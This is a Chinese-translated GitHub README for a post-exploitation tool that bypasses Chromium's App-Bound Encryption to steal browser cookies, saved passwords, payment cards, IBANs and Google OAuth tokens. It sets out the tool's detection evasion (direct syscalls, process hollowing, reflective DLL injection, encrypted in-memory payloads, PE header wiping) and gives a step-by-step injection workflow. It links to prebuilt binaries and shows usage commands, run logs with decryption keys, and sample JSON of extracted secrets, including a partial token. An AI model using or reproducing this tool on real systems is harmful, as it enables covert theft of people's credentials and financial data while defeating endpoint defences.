xaitax/Chrome-App-Bound-Encryption-Decryption

GitHub: xaitax/Chrome-App-Bound-Encryption-Decryption

基于直接系统调用和反射式进程镂空的 Chromium 浏览器 App-Bound Encryption 绕过工具，用于在无需管理员权限的条件下解密提取 cookies、密码、支付信息等敏感数据。

Stars: 1435 | Forks: 240

# ChromElevator _{^{(`Chrome App-Bound Encryption Decryption`) ## 🚀 概述     [](https://deepwiki.com/xaitax/Chrome-App-Bound-Encryption-Decryption) 这是一个后渗透工具，演示了如何完全在内存中绕过 Chromium 的 **App-Bound Encryption (ABE)**。本项目利用 **基于直接系统调用的反射式进程镂空 (Direct Syscall-based Reflective Process Hollowing)** 技术，以挂起状态启动一个合法的浏览器进程，隐蔽地注入 Payload 以劫持其身份和安全上下文。这种 **Living-off-the-Land (LOTL)** 技术颠覆了浏览器自身的安全模型。这种无文件方法允许工具完全在内存中运行，绕过用户态 API 挂钩，从而解密并窃取现代 Chromium 浏览器中的敏感用户数据（cookies, 密码, 支付信息）。 ## 🛡️ 核心技术支柱 该工具的有效性源于一系列现代、侧重规避的技术的结合： - **用于规避的直接系统调用：** 通过直接调用内核函数，绕过 EDR/AV 在标准 WinAPI 函数上的用户态挂钩。该引擎在运行时使用 **Hell's Gate** 技术结合 **基于哈希的函数匹配**（二进制文件中没有明文系统调用名称）动态解析系统调用号。 - **基于直接系统调用的进程镂空：** 一种隐蔽的进程创建和注入技术。它不是注入到高流量、可能受监控的进程中，而是创建一个新的、挂起的宿主进程。这显著降低了被检测的几率，因为所有的内存操作都在进程开始正常执行之前发生。 - **无文件内存 Payload：** Payload DLL 永远不会触及目标机器的磁盘。它作为 **ChaCha20 加密** 的编译时字节数组嵌入，使用 **编译时派生的密钥**，在内存中解密并反射加载，从而最大限度地减少取证痕迹并绕过静态的基于文件的扫描器。 - **反射式 DLL 注入 (RDI)：** 一种隐蔽的进程注入方法，它绕过 `LoadLibrary` 来加载主 Payload，从而避开那些监视模块加载的检测机制。自包含的引导加载程序映射 PE 节，执行重定位，并从内存中解析导入。 - **目标上下文 COM 调用：** 击败 App-Bound Encryption 的关键。通过在受信任的浏览器进程 *内部* 执行代码，我们继承了其身份和安全上下文，允许我们对 ABE COM 服务器进行看似合法的调用，并通过其路径验证安全检查。 ## ⚙️ 功能特性 ### 核心功能 - 🔓 完全在用户态解密 cookies、密码、支付方式、IBAN 和 Google OAuth 令牌。 - 📁 发现并处理所有用户配置文件 (Default, Profile 1 等)。 - 📝 将所有提取的数据导出为结构化的 JSON 文件，按配置文件组织。 - 🔍 全面的浏览器指纹识别及系统信息。 ### 隐蔽与规避 - 🛡️ **无文件 Payload 投递：** 在内存中解密并注入加密的嵌入式 Payload。 - 🛡️ **直接系统调用引擎：** 在所有进程操作中避免使用被挂钩的用户态 API，从而绕过常见的端点防御。 - 🛡️ **基于哈希的系统调用解析：** 二进制文件中没有明文 `Nt*`/`Zw*` 函数名——使用编译时 DJB2 哈希。 - 🛡️ **编译时密钥派生：** 加密密钥从构建元数据派生，每次构建唯一。 - 🛡️ **PE 头销毁：** 注入后用伪随机数据彻底销毁 PE 头，以规避内存扫描器。 - 🛡️ **IPC 模拟：** 特定于浏览器的命名管道模式，与合法的浏览器 IPC 流量混合。 - 🤫 **进程镂空：** 为 Payload 创建一个良性的、挂起的宿主进程，避免注入到可能受监控的进程中。 - 👻 **反射式 DLL 注入：** 无需可疑的 `LoadLibrary` 调用即可隐蔽地加载 Payload。 - 🔒 **非侵入式文件锁定绕过：** 使用基于系统调用的句柄复制来访问锁定的 SQLite 数据库，而无需终止浏览器进程。可选 `--kill` 标志用于完全终止进程。 - 💼 **无需管理员权限：** 完全在用户的安全上下文中运行。 ### 兼容性与易用性 - 🌐 适用于 **Google Chrome**、**Brave**、**Edge** 和 **Avast Secure Browser**。 - 💻 原生支持 **x64** 和 **ARM64** 架构。 - 🚀 **独立运行：** 自动创建一个新的浏览器进程来托管 Payload，无需预先存在的运行实例。 - 📁 可自定义提取数据的输出目录。 ## 📦 支持且经过测试的版本 | 浏览器 | 测试版本 (x64 & ARM64) | | -------------------------- | ---------------------------- | | **Google Chrome** | 144.0.7559.133 | | **Google Chrome Beta** | 145.0.7632.18 | | **Brave** | 1.86.148 (144.1.86.148) | | **Microsoft Edge** | 145.0.3800.36 | | **Avast Secure Browser** | 143.0.33371.147 | ## 🔍 功能支持矩阵 此矩阵概述了每个受支持浏览器的提取能力。 | 功能 | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser | |----------------------|------------------------|------------------------|------------------------|------------------------| | **Cookies** | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE | | **Passwords** | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE | | **Payment Methods** | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE | | **IBANs** | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE | | **Auth Tokens** | ✅ Google | ❌ N/A | ❌ N/A | ❌ N/A | ## 🔬 技术工作流 该工具的执行专注于隐蔽性和效率，围绕 **基于直接系统调用的反射式镂空 (Direct Syscall-based Reflective Hollowing)** 过程构建。这种方法确保只进行少量高级 API 调用，并且 Payload 在一个合法的、新创建的浏览器进程内运行。 ### **阶段 1：注入器 (`chromelevator.exe`)** 1. **预检与初始化：** 注入器首先初始化其 **直接系统调用引擎**，动态解析 `ntdll.dll` 以使用基于哈希的匹配确定系统调用号 (SSN)，并定位内核转换小工具 (`syscall/ret` 或 `svc/ret`)。如果指定了 `--kill` 标志，它会使用 `NtGetNextProcess` 和 `NtTerminateProcess` 系统调用终止目标浏览器的所有运行实例，释放 SQLite 数据库上的文件锁。 2. **Payload 准备：** 核心 Payload DLL 作为 **ChaCha20 加密** 的编译时字节数组嵌入，使用编译时派生的密钥，完全在内存中解密。 3. **进程镂空：** 注入器不是针对现有进程，而是以 **`CREATE_SUSPENDED`** 状态 (`CreateProcessW`) 创建目标浏览器的新实例。这个原始的、挂起的进程作为我们 Payload 的宿主。 4. **通过系统调用进行反射式注入：** 使用直接系统调用引擎，注入器在挂起的进程上执行一系列隐蔽操作： - 它使用 `NtAllocateVirtualMemory`（直接系统调用）分配内存。 - 它使用 `NtWriteVirtualMemory` 将解密后的 Payload DLL 写入分配的空间。 - 它使用 `NtProtectVirtualMemory`（直接系统调用）将内存区域的权限更改为可执行。 - 它创建一个 **命名管道** 用于通信，并将管道名称写入目标内存。 5. **执行与控制：** 使用 `NtCreateThreadEx` 在目标进程中创建一个新线程。线程的起始地址直接指向 Payload 的 `Bootstrap` 导出函数，远程管道名称的地址作为其参数。浏览器的原始主线程保持挂起状态，永远不会恢复。然后注入器等待 Payload 连接回管道。 ### **阶段 2：注入的 Payload (内存中)** 1. **引导：** `Bootstrap` 反射加载器执行，作为一个具有增强隐蔽性的自定义内存 PE 加载器： - 使用 **直接系统调用** 调用 `NtAllocateVirtualMemory` 为 Payload 分配新内存（绕过被挂钩的 `VirtualAlloc`）。 - 正确映射 DLL 的节并执行基址重定位。 - 通过解析 PEB 并哈希函数名来解析其导入地址表 (IAT)。 - 使用 **直接系统调用** 调用 `NtProtectVirtualMemory` 设置节权限。 - **销毁 PE 头**，用伪随机数据覆盖 DOS/NT 头，从内存中消除 MZ 签名。 - 最后，调用 Payload 的 `DllMain`。 2. **连接与设置：** `DllMain` 生成一个新线程，立即连接到注入器传递的命名管道句柄。它读取注入器发送的配置，包括输出路径。随后的所有日志和状态更新都通过此管道传回。 3. **目标上下文 COM 劫持：** 现在在浏览器进程内本地运行，Payload 实例化浏览器的内部 COM 服务器（Chrome/Brave 144+ 为 `IElevator2`，早期版本为 `IElevator`，Edge 为 `IEdgeElevatorFinal`，或 Avast Secure Browser 为 `IAvastElevator`）。由于调用源自受信任的进程路径，因此通过了服务器的所有安全检查。 4. **主密钥解密：** Payload 调用 COM 接口上的 `DecryptData` 方法，提供它从 `Local State` 文件读取的 `app_bound_encrypted_key`。COM 服务器忠实地解密密钥并将明文 AES-256 主密钥返回给 Payload。 5. **数据窃取：** 拥有 AES 密钥后，Payload 枚举所有用户配置文件（`Default`、`Profile 1` 等）。对于每个配置文件，它查询相关的 SQLite 数据库（`Cookies`、`Login Data`、`Web Data`），使用 AES-256-GCM 解密数据块，并将秘密格式化为 JSON。结果直接写入注入器指定的输出目录。 6. **关闭：** 处理完所有配置文件后，Payload 通过管道向注入器发送完成信号，并调用 `FreeLibraryAndExitThread` 进行清理。注入器收到信号后，使用 `NtTerminateProcess` 终止父宿主进程。 ## 🔧 构建说明 本项目使用一个简单、健壮的构建脚本，自动处理所有编译和 Payload 嵌入。 1. **克隆** 本仓库。 2. 打开 **Developer Command Prompt for VS**（或任何启用了 MSVC 的 shell）。 3. 从项目根目录运行构建脚本 `make.bat`。 **构建选项：** - `make.bat` - 完整构建（默认） - `make.bat clean` - 删除所有构建产物 - `make.bat build_encryptor_only` - 仅构建加密器（由 CI 使用） - `make.bat build_target_only` - 仅构建 Payload 和注入器（由 CI 使用） ### 使用 GitHub Actions 自动构建 本项目使用 GitHub Actions 自动为 **x64** 和 **ARM64** 架构构建注入器可执行文件 (`chromelevator.exe`)。 您可以在 [**Releases 页面**](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases) 找到最新的预编译二进制文件。两种架构的可执行文件都打包在一个方便的 .zip 文件中。 **发布包内容：** - `chromelevator_x64.exe` - `chromelevator_arm64.exe` ## 🚀 用法 ``` PS> .\chromelevator.exe --help _________ .__ ___________.__ __ \_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________ / \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \ \ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/ \______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__| \/ \/ \/ \/ \/ \/ Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax Usage: chromelevator.exe [options] Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory ``` ### 选项 - `--output-path ` 或 `-o ` 指定输出文件的基础目录。 默认为相对于注入器位置的 `.\output\`。 数据将被组织到子文件夹中：`///`。 - `--verbose` 或 `-v` 启用来自注入器的详细调试输出。 - `--fingerprint` 或 `-f` 提取全面的浏览器指纹数据，包括版本、扩展、安全设置和系统信息。 结果保存到浏览器输出目录中的 `fingerprint.json`。 - `--kill` 或 `-k` **在提取前终止所有进程。** 使用直接系统调用 (`NtTerminateProcess`) 在尝试数据提取之前终止目标浏览器的所有运行实例。当浏览器正在运行并持有数据库文件锁，从而阻止工具访问 cookies 或其他加密数据时，这非常有用。 - `--help` 或 `-h` 显示此帮助消息。 ### 常规运行 ``` PS> .\chromelevator.exe all _________ .__ ___________.__ __ \_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________ / \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \ \ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/ \______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__| \/ \/ \/ \/ \/ \/ Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax ┌──── Brave (143.1.85.120) ────────────────────── │ │ Decryption Key │ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD │ ├── Default │ Cookies 3312 │ Passwords 55 │ Cards 1 │ IBANs 1 │ └── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave ┌──── Chrome (143.0.7499.193) ─────────────────── │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome ┌──── Chrome Beta (144.0.7559.59) ─────────────── │ │ Decryption Key │ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7 │ ├── Default │ Cookies 224 │ └── 224 cookies (1 profile) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta ┌──── Edge (144.0.3719.67) ────────────────────── │ │ Decryption Key │ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9 │ ├── Default │ Cookies 226 │ Passwords 2 │ Cards 1 │ ├── Profile 1 │ Cookies 25 │ └── 251 cookies, 2 passwords, 1 cards (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge ``` ### 详细模式 ``` PS> .\chromelevator.exe -v -f chrome _________ .__ ___________.__ __ \_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________ / \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \ \ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/ \______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__| \/ \/ \/ \/ \/ \/ Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax ┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \\.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome ``` ## 📂 数据提取 解密完成后，数据将保存到指定的输出路径（如果未通过 `--output-path` 指定，则默认为 `.\output\`）。文件组织如下： **基础路径：** `YOUR_CHOSEN_PATH`（例如 `.\output\` 或您提供的路径） **结构：** ///.json 示例路径（假设为默认输出位置）： - 🍪 **Cookies (Chrome Default profile):** .\output\Chrome\Default\cookies.json - 🔑 **Passwords (Edge Profile 1):** .\output\Edge\Profile 1\passwords.json - 💳 **Payment Methods (Brave Default profile):** .\output\Brave\Default\payments.json - 🏦 **IBANs (Chrome Profile 1):** .\output\Chrome\Profile 1\iban.json ### 🍪 Cookie 提取 每个 cookie 文件是一个 JSON 对象数组： ``` [ { "host": "accounts.google.com", "name": "ACCOUNT_CHOOSER", "path": "/", "expires": 1766591611, "value": "AFx_qI781-…" }, { "host": "mail.google.com", "name": "OSID", "path": "/mail", "expires": 1766591611, "value": "g.a000uwj5ufIS…" }, … ] ``` ### 🔑 密码提取 每个密码文件是一个 JSON 对象数组： ``` [ { "url": "https://example.com/login", "user": "user@example.com", "pass": "••••••••••" }, … ] ``` ### 💳 支付方式提取 每个支付文件是一个 JSON 对象数组： ``` [ { "name": "John Doe", "month": 12, "year": 2030, "number": "••••••••••1234", "cvc": "•••" }, … ] ``` ### 🏦 IBAN 提取 每个 IBAN 文件是一个 JSON 对象数组： ``` [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ] ``` ### 🎟️ 令牌提取 每个令牌文件是一个 JSON 对象数组，包含服务、解密后的令牌和绑定密钥（如果存在）： ``` [ { "service": "AccountId-112823413702122221871", "token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...", "binding_key": "" } ] ``` ### 🔍 浏览器指纹识别 当使用 `--fingerprint` 或 `-f` 标志时，会生成一份全面的元数据报告： ``` { "browser": "Chrome", "executable_path": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "browser_version": "143.0.7499.170", "user_data_path": "C:\\Users\\username\\AppData\\Local\\Google\\Chrome\\User Data", "sync_enabled": false, "enterprise_managed": true, "update_channel": "stable", "hardware_acceleration": false, "metrics_enabled": false, "autofill_enabled": true, "password_manager_enabled": false, "safe_browsing_enabled": true, "do_not_track": false, "third_party_cookies_blocked": false, "translate_enabled": true, "installed_extensions_count": 2, "extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"], "profile_count": 2, "computer_name": "DESKTOP-ABC123", "windows_user": "username", "os_version": "10.0.26220", "architecture": "ARM64", "last_config_update": 1766578854, "extraction_timestamp": 1766591611, "extraction_complete": true } ``` 此数据提供有关浏览器配置、安全状况和系统上下文的情报。 ## 📚 深入技术分析与研究 为了全面了解 Chrome 的 App-Bound Encryption、其实现的细节、此工具方法的详细机制以及相关安全向量的更广泛讨论，请参考我的详细研究论文： 1. ➡️ **[Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes](docs/RESEARCH.md)** 本文档涵盖： - 从 DPAPI 到 ABE 的演变。 - ABE 机制的分步详解，包括 `IElevator`/`IElevator2` COM 交互和密钥封装。 - 此工具使用的 DLL 注入策略的详细方法论。 - 加密数据结构分析和相关的 Chromium 源代码见解。 - 替代解密向量和 Chrome 不断发展的防御措施的讨论。 2. ➡️ **[The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge's App-Bound Encryption](docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)** 本文详细介绍了为实现 Microsoft Edge 的可靠 ABE 解密所经历的具体挑战和逆向工程之旅。它包括： - 最初问题和误导性错误代码 (`E_INVALIDARG`, `E_NOINTERFACE`) 的叙述。 - 使用 COM 类型库内省（使用 Python `comtypes`）发现 Edge 独特的 `IElevatorEdge` vtable 结构和继承的过程。 - 这种见解如何导致定制 C++ 接口存根以成功与 Edge 的 ABE 服务交互。 - 调试棘手的 COM 互操作性问题的实用视角。 3. ➡️ **[The Elevator Gets an Upgrade: Chrome 144, IElevator2, and the Mojo Horizon](docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)** 本文涵盖 Chrome 144 新的 `IElevator2` COM 接口及其对 ABE 的意义： - Chrome 143 的 `IElevator` 与 Chrome 144 的 `IElevator2` 接口之间的技术比较。 - 分析两个新方法（`RunIsolatedChrome`, `AcceptInvitation`）及其与 Chromium 计划的 Mojo IPC 迁移的联系。 - VTable 布局比较显示保留了向后兼容性。 - Edge 144 对 `IElevator2` 的部分采用及新的 Copilot 接口。 - 对 Mojo 迁移对 ABE 安全性改变（及未改变）内容的诚实评估。 4. ➡️ **[COMrade ABE: Your Field Manual for App-Bound Encryption's COM Underbelly](docs/COMrade_ABE_Field_Manual.md)** 这份现场手册介绍了 **COMrade ABE**，一个用于 ABE COM 接口的基于 Python 的动态分析器，并深入探讨了其实际应用： - 解释了由于浏览器变化和更新而进行动态 COM 接口分析的必要性。 - 详细介绍了 COMrade ABE 的方法论：用于服务发现的注册表扫描、类型库加载和解析，以及基于启发式的 ABE 方法签名匹配。 - 提供了解释 COMrade ABE 输出的综合指南，包括 CLSID、IID（标准和 C++ 样式），以及详细输出细节的意义，如 VTable 偏移、定义接口和完整继承链。 - 重点介绍了自动生成的 C++ 存根 (`--output-cpp-stub`) 在快速开发和研究中的实用性。 - 讨论了 COMrade ABE 如何帮助适应 ABE 变化、分析新的 Chromium 浏览器以及理解供应商特定的 COM 定制。 ## 🔗 其他资源与研究 本项目建立在更广泛的安全社区的工作和分析之上。 - **官方文档与公告：** - [Google Security Blog: Improving the security of Chrome cookies on Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) - [Design Doc: Chrome app-bound encryption Service](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view) - **社区研究与致谢：** - [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) 的概念验证 ## 🗒️ 更新日志 本项目的所有显著更改都记录在 [**CHANGELOG**](CHANGELOG.md) 文件中。这包括版本历史、新功能、错误修复和安全改进。 ## 📜 许可证 本项目根据 MIT 许可证授权 - 有关详细信息，请参阅 [LICENSE](LICENSE) 文件。 ## 💡 项目理念与免责声明}}